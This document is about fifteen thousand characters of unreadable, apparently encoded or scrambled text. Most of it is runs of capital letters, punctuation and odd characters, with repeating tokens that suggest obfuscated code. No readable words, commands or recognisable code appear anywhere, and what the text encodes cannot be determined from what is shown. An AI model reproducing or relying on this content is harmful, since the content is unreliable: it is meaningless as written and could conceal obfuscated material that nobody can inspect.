jQGV^@FQTLY@\RGWQZ[WSVFWW]YL^QYEQ[Y^PL?H?S@[VA\Z[@j@LRG\O]\P???N????AGLN???\SQPS\[PQ\BjCDOETLDWOR  GPA@G[?\SQPS\[PQOLX^FPPZQAIIu\BjCDOETLDWORbejvz{ap{ajq|gIIZG^\]W]FX]XjA]Obejvz{ap{ajq|gGPA@G[???CSROQSbejvz{ap{ajq|g?CBDVAj  ]_GCSROQS\BjCDOETLDWOR?QCDDTE_B_COL\RGWQZ[WSVFGFWPOXC\RGWQZ[WSVF?DSRSES]GGZFPEEWPPYMG@]twfeta}\RGWQZ[WSVF WW]YL^QYEQ[Y?P_^@POTVP[GSBXAASZLDCW[WR\???DFB@ \WVYBZFPEEWPPYMG@]twfeta}OLX^FPPZQA MM??Z^ TFQ@CBM]WW]YL^QYEQ[YWW]YL^QYEQ[Y
GT^GjjBW@MCSY@ZSTYFP?ZVDT  SCOZ^ TFQ@CBM]STYFP
OLX^FPPZQAZ^ TFQ@CBM]?Y@CASjj\FFPAryzwtyfn\BjCDOETLDWORhEGPS\M
ryzwtyfn\RGWQZ[WSVFhEGPS\M\RGWQZ[WSVF?VOGPRZ GRGY\RGWQZ[WSVFWW]YL^QYEQ[YOLX^FPPZQA QCDDTE_B_COLFAG\[REG_MOYQX_CMM?LCQLA\MA[TR_S[jSFXV_QMPE]jEPS???WW]YL^QYEQ[Y?TGGTLjjfy`rjjjjo|ej{txpjjjjf}xzej~pljjjjzeaj{txpjjjjbejegps|mjjjjr`tgqj{txpjjjjcpgf|z{jj?TGGTLQCDDTE_B_COLDSRSES]GGZVDT  SCODFB@ \WVYBY@CASjjVOGPRZ GRGYBRW^TOAOBRZT[TBSA??\SLCQLA\MA[TR_SN??\S\[ARPAjZEA\Z[\BjCDOETLDWORZ^MWjQGV^@FQTLY@OLX^FPPZQA\RGWQZ[WSVF??GPA@G[?H?V@GGP[Au\RGWQZ[WSVF CBDVAj  ]_G
u\RGWQZ[WSVFCBDVAj  ]_G????\S\BjCDOETLDWORV@GGP[AN?Z^MWjQGV^@FQTLY@\BjCDOETLDWOR\RGWQZ[WSVF?GPA@G[?H?V@GGP[A_Bj\F\@\] _^_PV@GGP[A????_CQ Z_GA[LL[BRW^TOAOBRZT[TBSAZFPEEWPPYMG@]twfeta}WW]YL^QYEQ[Y		?FGDXRj@D[OX^WW]YL^QYEQ[Y _CQ Z_GA[LL[\BjCDOETLDWOR ?X][MGT\BjCDOETLDWOR_CQ Z_GA[LL[WW]YL^QYEQ[Y?VOP@SjMDO[ZFPEEWPPYMG@]twfeta}OLX^FPPZQA k?@CL^ VPT[OVCB_\OLX^FPPZQA\BjCDOETLDWORVOP@SjMDO[WW]YL^QYEQ[YV@GGP[A?@[L_DWSY_D WW]YL^QYEQ[Y @CL^ VPT[OVCB_\\RGWQZ[WSVFSTYFP?\S\BjCDOETLDWORV@GGP[AFGDXRj@D[OX^STYFP\RGWQZ[WSVFV@GGP[AX][MGTSTYFP@[L_DWSY_D N?OVMTR]LCZ\YP?GPA@G[?H???V@GGP[AWW]YL^QYEQ[Y\RGWQZ[WSVF @CL^ VPT[OVCB_\?\SOLX^FPPZQAV@GGP[AN?\[APGYPTCPYT[PF?PX@GTV\^^RZBYZPX@GTV\^^ ?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y\RGWQZ[WSVF ??GPA@G[???HN?V@GGP[A_Bj\F\@\] _^_PV@GGP[A?GV P\jjLLOLX^FPPZQAWW]YL^QYEQ[Y  LCQLA\MA[TR_S??PBTDEEDFCQZjLSC\BjCDOETLDWOR V@GGP[A?\SPBTDEEDFCQZjLSCN??\SA]RFj\F]SOSS]O[\RGWQZ[WSVFN?Z^MWjQGV^@FQTLY@OLX^FPPZQA\BjCDOETLDWOR ?GPA@G[?H?\S[VjZ@ZAT TO\CBDVAj  ]_GV@GGP[AN?Z^MWjQGV^@FQTLY@OLX^FPPZQA\BjCDOETLDWOR ?GPA@G[?H????VDMCPXCLREBO\\_G\RGWQZ[WSVF?HPYFPN?\S[VjZ@ZAT TO\CBDVAj  ]_GN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y\RGWQZ[WSVF?GPA@G[?H?H?CR\AP E]FjM]PY QXX\ESjEGEV@GGP[AFGDXRj@D[OX^i[GV P\jjLLi[X][MGT?\SFWDSWO@V[[ CFM_\MECBDVAj  ]_GCR\AP E]FjM]N?GPA@G[?H?\SPBTDEEDFCQZjLSCYTS^L]AS]jTCBDVAj  ]_G?OVMTR]LCZ\YP?H?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@OLX^FPPZQAYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?H???S@[VA\Z[Y__GTWYXB[GRYWDW?N????AGLN?beeZFAvZ[AP[AGPBG\APSY@F]??\SQPS\[PQ\BjCDOETLDWOR  GPA@G[?\SOXPQS_WCAVOXRB GFWPOXCGPA@G[?\SWW]YL^QYEQ[YWW]YL^QYEQ[YGPA@G[?\S\BjCDOETLDWOROLX^FPPZQAGPA@G[?\S\FFPAjfpgcpgn\BjCDOETLDWORhGPA@G[?\SRPAjAGT[F\P[AOLX^FPPZQAGPA@G[?j\^TZYSOBXAASZLDCW[WR\???\SuWW]YL^QYEQ[Yj\^TZYSOj[M^MFYLR_STTQj\^TZYSO AG@P?\Su\RGWQZ[WSVFj\^TZYSOIIu\RGWQZ[WSVFj\^TZYSON?j\^TZYSOtwfeta}OLX^FPPZQA ????\SuWW]YL^QYEQ[Yj\^TZYSOj\^TZYSO@LQDMF@XQVCA@ST?????H?XM \ QTSRDCZFPEEWPPYMG@]twfeta}RMM?BYPCP^^TL\OLX^FPPZQAXM \ QTSRDCOLX^FPPZQA?F\]FMTQWj\^TZYSOBYPCP^^TL\?begPQ@MfAZGPQ\TR[ZFA\V]T[QF]T^P??CPOYV @ EGj\^TZYSOWW]YL^QYEQ[YXM \ QTSRDC?SZGPTV]TGGTLj\^TZYSOtwfeta}\RGWQZ[WSVF @LQDMF@XQVCA@STTFM^_]TSTZB^TN?\QMB\B\FF^D M^_]TSTZB^T\RGWQZ[WSVFXM \ QTSRDC???\Su\BjCDOETLDWOR \QMB\B\FF^D N?Z A@_M\QSLLGL\[AuOLX^FPPZQA\QMB\B\FF^D ?\SZ A@_M\QSLLGL	OLX^FPPZQA IIZ A@_M\QSLLGLWW]YL^QYEQ[Y N???\LYGF@GDVCLPD[\QMB\B\FF^D ?VZ[A\[@PSCGCOYXQQ[ GP\DDXBVSCGCOYXQQ[?H?GPR\FAPGTYYZVTA\Z[??\SuOLX^FPPZQA M^_]TSTZB^T\RGWQZ[WSVF XM \ QTSRDCOLX^FPPZQAGPA@G[?\LYGF@GDVCLPD[\QMB\B\FF^D ????H?H?@[FPAM^_]TSTZB^T\QMB\B\FF^D Z A@_M\QSLLGL???QVjA[W^GZDLZtwfeta}WW]YL^QYEQ[Y BYPCP^^TL\?\Sj\^TZYSOtwfeta}\BjCDOETLDWOR u\BjCDOETLDWOR QVjA[W^GZDLZ@FRMD^RTVPRGEL_R\RYQVjA[W^GZDLZSTYFPN?DDAPGjYE_B@SFOFC\VPQVjA[W^GZDLZMMP???\S\LYGF@GDVCLPD[QVjA[W^GZDLZ\RGWQZ[WSVFOLX^FPPZQAuZEVTV]Pj\[CTY\QTAPQVjA[W^GZDLZAG@P?H?@[FPAQVjA[W^GZDLZ???\Su\RGWQZ[WSVF CPOYV @ EG\[Au\RGWQZ[WSVFCPOYV @ EGWW]YL^QYEQ[Y MQMPGPA@G[?\SuWW]YL^QYEQ[Y F\]FMTQWOLX^FPPZQA \[AuS\YPVA\XPF\]FMTQW	MPMVGPA@G[???\Su\RGWQZ[WSVF F\]FMTQWN?SOj_XGX\CTDM@VuWW]YL^QYEQ[Y j\^TZYSO\RGWQZ[WSVF  XM \ QTSRDC
WW]YL^QYEQ[YFAG\[RuOLX^FPPZQA j\^TZYSO\RGWQZ[WSVF  XM \ QTSRDC?\SSOj_XGX\CTDM@V\RGWQZ[WSVF WW]YL^QYEQ[Y SOj_XGX\CTDM@VCPGF\Z[jVZXETGPSOj_XGX\CTDM@VBRW^TOAOBRZT[TBSAGPA@G[?@[FPASOj_XGX\CTDM@V?H??\SuOLX^FPPZQA F\]FMTQWN?VjL\AVQj\^TZYSO\RGWQZ[WSVF ZFPEEWPPYMG@]twfeta}RMM???DC]L]GW_BDOuWW]YL^QYEQ[Y VjL\AVQ
FAG\[Ru\RGWQZ[WSVF VjL\AVQ?MFVCZLCTBB[_^RR^EMPMS ^OMBE]ZP_YB[_^RR^E?\SDC]L]GW_BDON??ZZ_@@LXF\RGWQZ[WSVFIDC]L]GW_BDO???MFVCZLCTB\[AZZ_@@LXFnh?H?\SMFVCZLCTBWW]YL^QYEQ[YMFVCZLCTBZ^MWjQGV^@FQTLY@\RGWQZ[WSVF\BjCDOETLDWOR?PYFP\SMFVCZLCTBOLX^FPPZQA\[AuS\YPVA\XPF\]FMTQWZ^MWjQGV^@FQTLY@WW]YL^QYEQ[YWW]YL^QYEQ[Y?@[FPAVjL\AVQDC]L]GW_BDOZZ_@@LXFMFVCZLCTB???H?EY]B_VYR[LMPOMML[MC\GXB?\SEY]B_VYR[LMIIWW]YL^QYEQ[Y EY]B_VYR[LM	MSTMSTGPA@G[?ORYSTWTBjV]EMATGYR_DOADBF\A?QCDDTE_B_COLWW]YL^QYEQ[YGFWPOXC\RGWQZ[WSVF ?PPRQCFXV]\MW_@LQDMF@XQVCA@ST\RGWQZ[WSVF ?CCBT T Q@ERBWC^u\BjCDOETLDWORPPRQCFXV]\MW_?
PPRQCFXV]\MW_QCDDTE_B_COLWW]YL^QYEQ[Y ???@LQDMF@XQVCA@STOLX^FPPZQA  QCDDTE_B_COLQCDDTE_B_COLWW]YL^QYEQ[Y ??OGQTXT\[O@DZYOLX^FPPZQAWW]YL^QYEQ[Y
\BjCDOETLDWOR]ZXPj@GYe}ej`gyj}zfa\FFPAjfpgcpgn\BjCDOETLDWORh
jfpgcpgnWW]YL^QYEQ[Yh?B\SCSRLEZjQPS\[PQ\RGWQZ[WSVFbex`jey`r|{jq|g
bex`jey`r|{jq|g@LQDMF@XQVCA@ST\BjCDOETLDWOR ????L@E[EP QPS\[PQ\BjCDOETLDWORbejey`r|{jq|g
bejey`r|{jq|g@LQDMF@XQVCA@ST\RGWQZ[WSVF?T Q[GRCQPS\[PQ\BjCDOETLDWOR
bejvz{ap{ajq|g@LQDMF@XQVCA@ST?ZDj\AEOXOG[jSFXV_QMPE]jEPS??OLX^FPPZQA?TGGTLjjeta}jwjjjjey`r|{jwtfpjjjjqzxt|{jjjj}wjwjjjjreta}jwjjjjtwfeta}jwjjjjvz{ap{aq|gjwjjjjx`q|gjwjjjjey`r|{q|gjwjjjjfy`rjjjjcpgf|z{jj?TGGTLWW]YL^QYEQ[YCCBT T Q@ERBWC^ORYSTWTBjV]EOGQTXT\[O@DZYWW]YL^QYEQ[YCPOYV @ EG\BjCDOETLDWORF\]FMTQW\RGWQZ[WSVFtwfeta}\BjCDOETLDWORT Q[GRC\RGWQZ[WSVFB\SCSRLEZj\RGWQZ[WSVF L@E[EP OLX^FPPZQAGFWPOXC\BjCDOETLDWOR BRW^TOAOBRZT[TBSA??\SZDj\AEOXOGN?\S\[ARPAjZEA\Z[OLX^FPPZQAZ^MWjQGV^@FQTLY@WW]YL^QYEQ[Y\RGWQZ[WSVF?GPA@G[?H?\SCOQ [GQ\DVjWVOW@ZDj\AEOXOGN?VZXETVAGPR\FAGL??Z^MWjQGV^@FQTLY@\RGWQZ[WSVF\BjCDOETLDWOR?GPA@G[?H?\SFWDSWO@V[[ CFM_\MEF\]FMTQWZDj\AEOXOGN?V^]@[\jMVLRAQAF\]FMTQWB]OM@L]P@\S?DDAPGjYE_B@SFOFC\VPF\]FMTQWMTM T?YTS^L]AS]jTF\]FMTQW??A_QWDDMW\[@ZTj\^TZYSOWW]YL^QYEQ[YXM \ QTSRDCWW]YL^QYEQ[YZDj\AEOXOG\BjCDOETLDWOR????A_QWDDMW\[@ZTj\^TZYSOWW]YL^QYEQ[YXM \ QTSRDCBRW^TOAOBRZT[TBSAOLX^FPPZQAPF_VC@XCBP QQPF_VC@X?u\[VY@QPjZ[VPF\]FMTQW?FPAjAGT[F\P[A\RGWQZ[WSVF????H???@[FPAB\SCSRLEZjL@E[EP T Q[GRC?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@OLX^FPPZQAYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN??H?@[GPTV]TWYP??H?S@[VA\Z[WGRGVLX W]D APOB@ME] R[FPj???NMST[FMMPWQPXDQM\@PjjMST[F?\S\RGWQZ[WSVFB@ME] R[FPjGPA@G[STYFP???\Y]LREV[[QLOLX^FPPZQA B@ME] R[FPj?\S\Y]LREV[[QL  GPA@G[AG@P?\S\Y]LREV[[QL	GPA@G[STYFP?ZBBZ WFYR]FAG\BjCDOETLDWORB@ME] R[FPj ?]OERGDZXO\YW\RGWQZ[WSVF ZBBZ WFYR]FAG\BjCDOETLDWOR ZBBZ WFYR]FAGiA?GPA@G[]OERGDZXO\YWOLX^FPPZQA ZBBZ WFYR]FAG  ?H?S@[VA\Z[POMML[MC\GXBZ[@V[WSXSTYFP?N?FATA\VEY]B_VYR[LM[@YY?\SZ[@V[WSXN?EY]B_VYR[LM[@YY?H?\SEY]B_VYR[LM[@YYGPA@G[EY]B_VYR[LM??B@ME] R[FPjSTYFP?AVEAASjZ@WAAR]u\RGWQZ[WSVF  GFWPOXC[^XXEjE\LDe}ej|{ajxtme}ej|{ajxtmGDYXMCR[DF[^XXEjE\LD?\SAVEAASjZ@WAAR]AVEAASjZ@WAAR]AVEAASjZ@WAAR]	  B@ME] R[FPjuOLX^FPPZQA GFWPOXC?\S\RGWQZ[WSVFB@ME] R[FPjWW]YL^QYEQ[YB@ME] R[FPj B@ME] R[FPj_Bj\F\@\] _^_PB@ME] R[FPj???\S\RGWQZ[WSVFB@ME] R[FPj\RGWQZ[WSVFB@ME] R[FPj\BjCDOETLDWORB@ME] R[FPj	WGRGVLX W]D APOB@ME] R[FPjCOQ [GQ\DVjWVOW@B@ME] R[FPjN?EY]B_VYR[LMB@ME] R[FPj?GPA@G[EY]B_VYR[LM?H?VRWP_BGTZ]W\@C_BRB@GO[^jjM\BjCDOETLDWOR?\S\BjCDOETLDWORVRWP_BGTZ\BjCDOETLDWORVRWP_BGTZOLX^FPPZQAVRWP_BGTZ	WGRGVLX W]D APOVRWP_BGTZCOQ [GQ\DVjWVOW@VRWP_BGTZN?EY]B_VYR[LMVRWP_BGTZ?GPA@G[EY]B_VYR[LM?H?EY]B_VYR[LMSTYFP?GPA@G[EY]B_VYR[LM?H?S@[VA\Z[MATGYR_DOADBF\AZ[@V[WSXSTYFP?N?FATA\VVC\G^YSRjC[@YY???\SZ[@V[WSXN?bewYZV^te|CFPAA\[RFFPVA\Z[??VC\G^YSRjC[@YY?H?beqTATxZQ@YPFPG\TY\OTWYPQ\FETAV]PG??\SVC\G^YSRjC[@YYGPA@G[VC\G^YSRjC?B@ME] R[FPjPOMML[MC\GXB?\S\BjCDOETLDWORB@ME] R[FPjIIWW]YL^QYEQ[YB@ME] R[FPj	 IIOLX^FPPZQAB@ME] R[FPjIIWGRGVLX W]D APOB@ME] R[FPjIICOQ [GQ\DVjWVOW@B@ME] R[FPjN?VC\G^YSRjCSTYFP?GPA@G[VC\G^YSRjC?H?VC\G^YSRjC\RGWQZ[WSVF @ jM[ES[E_WSCV\LjB@ME] R[FPj?GPA@G[VC\G^YSRjC?H?S@[VA\Z[R^BS]LPM\TPFM]MXZ[OCBRDXG?N?\S\RGWQZ[WSVFM]MXZ[OCBRDXGII\BjCDOETLDWORM]MXZ[OCBRDXG	k IIWW]YL^QYEQ[YM]MXZ[OCBRDXGiMSiMWGPA@G[???BFAFVYXZu\BjCDOETLDWOR cWW]YL^QYEQ[YM]MXZ[OCBRDXGMM??BFAFVYXZWW]YL^QYEQ[YBFAFVYXZ
BFAFVYXZnh?\SBFAFVYXZ	IIBFAFVYXZ  GPA@G[BFAFVYXZ?GPA@G[?H?S@[VA\Z[]A^XODBR XSBj^OQC_ FX[SE??N?GPA@G[\RGWQZ[WSVF]PMQPVC_ FX[SEnh?H?S@[VA\Z[ASXDZZS^@LTP^ Z[B\XFRSE]?N?\S\BjCDOETLDWOR\XFRSE]II\XFRSE]GPA@G[\XFRSE]LE]TSE^TPQG^^OPGQTGLE]TSE^TP?FATA\VSCS\_CLMYLF[@YY?\SSCS\_CLMYLF[@YYN?SCS\_CLMYLFSTYFP?\SOLX^FPPZQAOLX^FPPZQAN????jQQQPS\[PQOLX^FPPZQA
bejvz{ap{ajq|gQPS\[PQOLX^FPPZQA  
twfeta}?\SjQQN???[LFZjFuQ\F^jSGPPjFETVPjQQ?\S[LFZjFSTYFP[LFZjF SCS\_CLMYLFAG@P?H?H?\SSCS\_CLMYLFN?\SOLX^FPPZQAOLX^FPPZQAu@EQTAPjZEA\Z[OLX^FPPZQA\RGWQZ[WSVF\BjCDOETLDWOR  TAG\W@MRMMP]R[XZ\]G_LSOTAG\W@MR?HPYFP\SWW]YL^QYEQ[YOLX^FPPZQAN?]@XRX YAVB]X\[ARPAjZEA\Z[WW]YL^QYEQ[Y???\S]@XRX YAVB]X\RGWQZ[WSVF]@XRX YAVB]X	SCS\_CLMYLFSTYFP?H?H?\SSCS\_CLMYLFN?GPA@G[\XFRSE]?bep[A\ALgPVZGQFF\QPWTGGPR\Z[??H?\FRGDWWME OLX^FPPZQA?\SWW]YL^QYEQ[Y\XFRSE]\FRGDWWMEGPA@G[\XFRSE]?\S\BjCDOETLDWOR \RGWQZ[WSVF\XFRSE]WW]YL^QYEQ[YGPA@G[\XFRSE]????B]\YP\BjCDOETLDWOR\XFRSE]	\FRGDWWME N?E_SZVZ_S@ ?\S\RGWQZ[WSVF\BjCDOETLDWORN?AGLN?E_SZVZ_S@ u\BjCDOETLDWORGT[QZXjWLAPF?HVTAV]a]GZBTWYPYA[E WAjN??E_SZVZ_S@ ?HVTAV]pMVPEA\Z[YA[E WAjN?E_SZVZ_S@ ?H?H?\S\BjCDOETLDWORE_SZVZ_S@ 	 N?E_SZVZ_S@ \BjCDOETLDWOR@[\D\QAG@P?B]\YPOLX^FPPZQAE_SZVZ_S@ 	E_SZVZ_S@ \BjCDOETLDWORE_SZVZ_S@ ?H?\XFRSE]i[E_SZVZ_S@ OLX^FPPZQA?H?GPA@G[\XFRSE]?H??S@[VA\Z[_Bj\F\@\] _^_P\XFRSE]?N??\S\RGWQZ[WSVF\XFRSE]II\BjCDOETLDWOR\XFRSE]	GPA@G[\XFRSE]BY\OYO [VTTRPDDBY\OYO [V?X_XGPF\^WR@COLX^FPPZQAWW]YL^QYEQ[Y\XFRSE]?GPA@G[\BjCDOETLDWORX_XGPF\^WR@C
X_XGPF\^WR@C\XFRSE]LM^E__SDA OFVMPLM^E__SDA
LM^E__SDALM^E__SDA?H?S@[VA\Z[YTS^L]AS]jT[YM^_VP?N?XTAG\MAGT[FEZFP??\S\BjCDOETLDWORWW]YL^QYEQ[Y IIWW]YL^QYEQ[Y\RGWQZ[WSVFGPA@G[?\S\BjCDOETLDWOR[YM^_VPII[YM^_VPIIuOLX^FPPZQA[YM^_VPGPA@G[?VT@FTYF\[RYPAZ[??\S\FFPAryzwtyfnWW]YL^QYEQ[YhIIWW]YL^QYEQ[Yryzwtyfn\RGWQZ[WSVFhN?ryzwtyfn\BjCDOETLDWORhRPAjZEA\Z[\RGWQZ[WSVFTGGTL???\SWW]YL^QYEQ[YryzwtyfnOLX^FPPZQAhryzwtyfn\BjCDOETLDWORhTGGTL?H?C_ FX[SEryzwtyfnWW]YL^QYEQ[Yh?\XFRSE]uWW]YL^QYEQ[Y[YM^_VP???\SWW]YL^QYEQ[Y\XFRSE]GPA@G[????\SOLX^FPPZQA\XFRSE]MVTS TM T\XFRSE]_Bj\F\@\] _^_P\XFRSE]??C_ FX[SEn\BjCDOETLDWOR[YM^_VPhTGGTLE[YM^_VP]OLX^FPPZQA\XFRSE]RBRW^TOAOBRZT[TBSAAOLX^FPPZQA?\SOLX^FPPZQA C_ FX[SEN???SZGPTV]C_ FX[SETFP@jSAG _W C^jMLGRBYN???\S\BjCDOETLDWORC^jMLGRBYII\FFPAC^jMLGRBYnAhII\[AC^jMLGRBYnAh	OLX^FPPZQA  @[FPAC_ FX[SEnP@jSAG _W h????H?B]\YPOLX^FPPZQA C_ FX[SE  N?SLBPDDGTFSDM[@YY?]_OFWOVP@GZ[@YY?SZGPTV]C_ FX[SETFP@jSAG _W C^jMLGRBYN?XWZSSPVDCM _QOLX^FPPZQAC^jMLGRBY\FFPAC^jMLGRBYnAh
\[AC^jMLGRBYnAh?\S]_OFWOVP@GZ[@YYIIXWZSSPVDCM _Q	]_OFWOVP@GZN?]_OFWOVP@GZXWZSSPVDCM _Q?SLBPDDGTFSDMP@jSAG _W ?H?H?\SSLBPDDGTFSDM[@YYWGPT^?@[FPAC_ FX[SEnSLBPDDGTFSDMh??H????H?@EQTAPjZEA\Z[\BjCDOETLDWORC_ FX[SEWW]YL^QYEQ[Y  ?ryzwtyfn\RGWQZ[WSVFhC_ FX[SE?H?S@[VA\Z[@FRMD^RTVPRGEL_R\RY[YM^_VP?N?\S\RGWQZ[WSVF[YM^_VPII[YM^_VPGPA@G[STYFP?\S\FFPAryzwtyfn\BjCDOETLDWORhIIWW]YL^QYEQ[YryzwtyfnWW]YL^QYEQ[YhN????ryzwtyfn\RGWQZ[WSVF h\BjCDOETLDWOROLX^FPPZQA 
RPAjZEA\Z[WW]YL^QYEQ[YTGGTLTGGTL?\S\BjCDOETLDWORryzwtyfnOLX^FPPZQA hryzwtyfn\RGWQZ[WSVF hTGGTL?H?evgp|aFEPV\TY\OPGPEY\VTAZG???C_ FX[SEryzwtyfnWW]YL^QYEQ[Y h?DATMWD[[@[D\RGWQZ[WSVF[YM^_VP?\S\FFPAC_ FX[SEnDATMWD[[@[Dh\BjCDOETLDWORC_ FX[SEnDATMWD[[@[Dh\FFPAC_ FX[SEnDATMWD[[@[Dhn]hN?\S\[AuOLX^FPPZQA  [YM^_VP   GPA@G[OLX^FPPZQA?\XFRSE]u\RGWQZ[WSVF[YM^_VP?\S\RGWQZ[WSVF\XFRSE]N?\S\BjCDOETLDWOR\XFRSE]MSPMW\XFRSE]_Bj\F\@\] _^_P\XFRSE]?GPA@G[WW]YL^QYEQ[Y\XFRSE]C_ FX[SEnDATMWD[[@[Dhn]h
AG@P\RGWQZ[WSVF?H?GPA@G[STYFP???H??QCSBSC@Gu\RGWQZ[WSVF[YM^_VPSTYFP[@YY ?\S???\BjCDOETLDWORQCSBSC@G\BjCDOETLDWORWW]YL^QYEQ[YQCSBSC@G?MP\jVPBYBFQ^SC[YM^_VP  ?N?\S\[Au\RGWQZ[WSVF  [YM^_VP  GPA@G[STYFP????\XFRSE]FAG\[Ru\BjCDOETLDWOR[YM^_VP?\S\BjCDOETLDWOR\XFRSE]\XFRSE]_Bj\F\@\] _^_P\XFRSE]?\SCOQ [GQ\DVjWVOW@\XFRSE]GPA@G[OLX^FPPZQA?H?GPA@G[STYFP???H?S@[VA\Z[CRTQDW[[VTZ@L?N?FATA\VC_ FX[SE[@YY?\SC_ FX[SE[@YYGPA@G[C_ FX[SE??\XFRSE]FAG\[RuWW]YL^QYEQ[YGFWPOXC?\S\BjCDOETLDWOR\XFRSE]   \XFRSE]_Bj\F\@\] _^_P\XFRSE]?C_ FX[SEWW]YL^QYEQ[Y\XFRSE]??GPA@G[C_ FX[SE?H?S@[VA\Z[X\AEXBARYL@Yj\G[L??N???GPA@G[\RGWQZ[WSVFCRTQDW[[VTZ@L?H?S@[VA\Z[VP^QXMP]Q^@???N?GPA@G[BXAASZLDCW[WR\WW]YL^QYEQ[Y ZFPEEWPPYMG@]twfeta}WW]YL^QYEQ[Y\BjCDOETLDWOR?H?S@[VA\Z[AYMVF]TRMWB?N?Z_TjRSES_SOATGGTL?\SWW]YL^QYEQ[Y\BjCDOETLDWOR N?GPV@GF\CPSTVAZGL??XT@\WXOLGjuRPAjZEA\Z[OLX^FPPZQATGGTL?\SWW]YL^QYEQ[YXT@\WXOLGjZ_TjRSES_SOAXT@\WXOLGj?befETVPGwYZV^ETAV]ALEPP[C\GZ[XP[A??H?\XFRSE]uWW]YL^QYEQ[YVP^QXMP]Q^@
u\BjCDOETLDWORVP^QXMP]Q^@?\SWW]YL^QYEQ[Y\XFRSE]OLX^FPPZQA\XFRSE]WW]YL^QYEQ[YN?A_jPYM\j\BjCDOETLDWOR\RGWQZ[WSVF\XFRSE]kAG@P?\S\RGWQZ[WSVFA_jPYM\jPXEALZ_TjRSES_SOAnOLX^FPPZQAhIIPXEALA_jPYM\jn\RGWQZ[WSVFhA_jPYM\jnWW]YL^QYEQ[YhZ_TjRSES_SOAnOLX^FPPZQAhZ_TjRSES_SOAA_jPYM\j?H?GPA@G[Z_TjRSES_SOA?H?S@[VA\Z[[ ECGTBWRLRTYZ[MWVDCBC?N?VZ[CPMAG\P??AGLN?\SQPS\[PQ\BjCDOETLDWOR  GPA@G[?WDQCDBMF_Z@PY\RGWQZ[WSVF?\SZ[MWVDCBCWW]YL^QYEQ[YIIZ[MWVDCBCWW]YL^QYEQ[Y N?EGPCAYMVF]TRMWB?\S?\FFPAEGPCn\RGWQZ[WSVFhEGPCn\RGWQZ[WSVFhEGPCn\RGWQZ[WSVFhZ[MWVDCBC????WDQCDBMF_Z@PY\[AEGPCn\RGWQZ[WSVFh	Z[MWVDCBCOLX^FPPZQA 
???GPA@G[?H?FPFD@\Y\[PTGFAGTAPRL??Z_TjRSES_SOATGGTL??CBRW^TOAOBRZT[TBSA?WW]YL^QYEQ[YX\AEXBARYL@Yj\G[L?OLX^FPPZQAGFWPOXC???OLX^FPPZQA WW]YL^QYEQ[YGFWPOXC\BjCDOETLDWOR??\RGWQZ[WSVFZ[MWVDCBC?OLX^FPPZQAWDQCDBMF_Z@PY?\RGWQZ[WSVFWDQCDBMF_Z@PY?\BjCDOETLDWOR\FFPAjfpgcpgnWW]YL^QYEQ[Yh
\[Ajfpgcpgn\RGWQZ[WSVFhWDQCDBMF_Z@PY????\S\BjCDOETLDWOR\BjCDOETLDWORu@EQTAPjZEA\Z[\BjCDOETLDWORZ_TjRSES_SOA\RGWQZ[WSVF?GE^Y^@VFBXAASZLDCW[WR\?\SuOLX^FPPZQAGE^Y^@VFIIj[M^MFYLR_STTQGE^Y^@VF  AG@PN?u\RGWQZ[WSVFVP^QXMP]Q^@OLX^FPPZQA\BjCDOETLDWORZ_TjRSES_SOA?H?HVTAV]a]GZBTWYPYA[E WAjN?HVTAV]pMVPEA\Z[YA[E WAjN?H?H????S@[VA\Z[V@EVVPVTC[@SMZ_TjRSES_SOA?N?\S\RGWQZ[WSVFZ_TjRSES_SOAIIPXEALZ_TjRSES_SOAn\RGWQZ[WSVF hII\RGWQZ[WSVFZ_TjRSES_SOAnWW]YL^QYEQ[Y hGPA@G[\RGWQZ[WSVF?SYWSTOX[\GZZ_TjRSES_SOAnWW]YL^QYEQ[Yh?\SuWW]YL^QYEQ[YSYWSTOX[\GZII\[AuWW]YL^QYEQ[YSYWSTOX[\GZ	 GPA@G[\BjCDOETLDWOR?\SC_[XDBRDZS G[SYWSTOX[\GZGPA@G[\RGWQZ[WSVF?PjYSRCATj@\FFPAZ_TjRSES_SOAnWW]YL^QYEQ[Yh
Z_TjRSES_SOAn\RGWQZ[WSVFh?FZ[\DLjPFX_C\FFPAZ_TjRSES_SOAnWW]YL^QYEQ[Y h
\[AZ_TjRSES_SOAn\BjCDOETLDWOR h???\SPjYSRCATj@\BjCDOETLDWOR GPA@G[FZ[\DLjPFX_COLX^FPPZQAFZ[\DLjPFX_C	 
WW]YL^QYEQ[Y \RGWQZ[WSVF ?\SPjYSRCATj@\RGWQZ[WSVF GPA@G[\RGWQZ[WSVF ?\SPjYSRCATj@WW]YL^QYEQ[YGPA@G[FZ[\DLjPFX_COLX^FPPZQAFZ[\DLjPFX_C	MM
\RGWQZ[WSVF OLX^FPPZQA ???GPA@G[WW]YL^QYEQ[Y  ?H?S@[VA\Z[[C VO@ ZBV]MG[YM^_VP?N?\SuOLX^FPPZQA[YM^_VPGPA@G[STYFP??]]XYYXLRAAPZ\[Au\BjCDOETLDWOR [YM^_VP?\S]]XYYXLRAAPZ	MMVII]]XYYXLRAAPZ GPA@G[STYFP??QCSBSC@GuWW]YL^QYEQ[Y[YM^_VPSTYFP[@YY ?\SOLX^FPPZQAQCSBSC@GIIWW]YL^QYEQ[Y\RGWQZ[WSVFQCSBSC@GGPA@G[STYFP?\S]]XYYXLRAAPZ N?\FRGDWWMEuWW]YL^QYEQ[Y [YM^_VPSTYFP[@YY]]XYYXLRAAPZ?GPA@G[WW]YL^QYEQ[Y \FRGDWWMEWW]YL^QYEQ[Y\BjCDOETLDWOR \FRGDWWME????H???\XFRSE]u\BjCDOETLDWOR[YM^_VP?\S\RGWQZ[WSVF \XFRSE]GPA@G[STYFP?GPA@G[COQ [GQ\DVjWVOW@\XFRSE]?H?S@[VA\Z[C_[XDBRDZS G[[YM^_VP?N?QCDDTE_B_COL\BjCDOETLDWOR[YM^_VP\BjCDOETLDWOR?SZGPTV]TGGTLWW]YL^QYEQ[Y[YM^_VP@jVTZ[PZCCL^FZ]A[TFPG[P]ZYON?W_MTSj\GTTSPG[P]ZYOOLX^FPPZQAQCDDTE_B_COL?\Su\BjCDOETLDWORW_MTSj\GTTSII\[AuWW]YL^QYEQ[YW_MTSj\GTTS	WW]YL^QYEQ[Y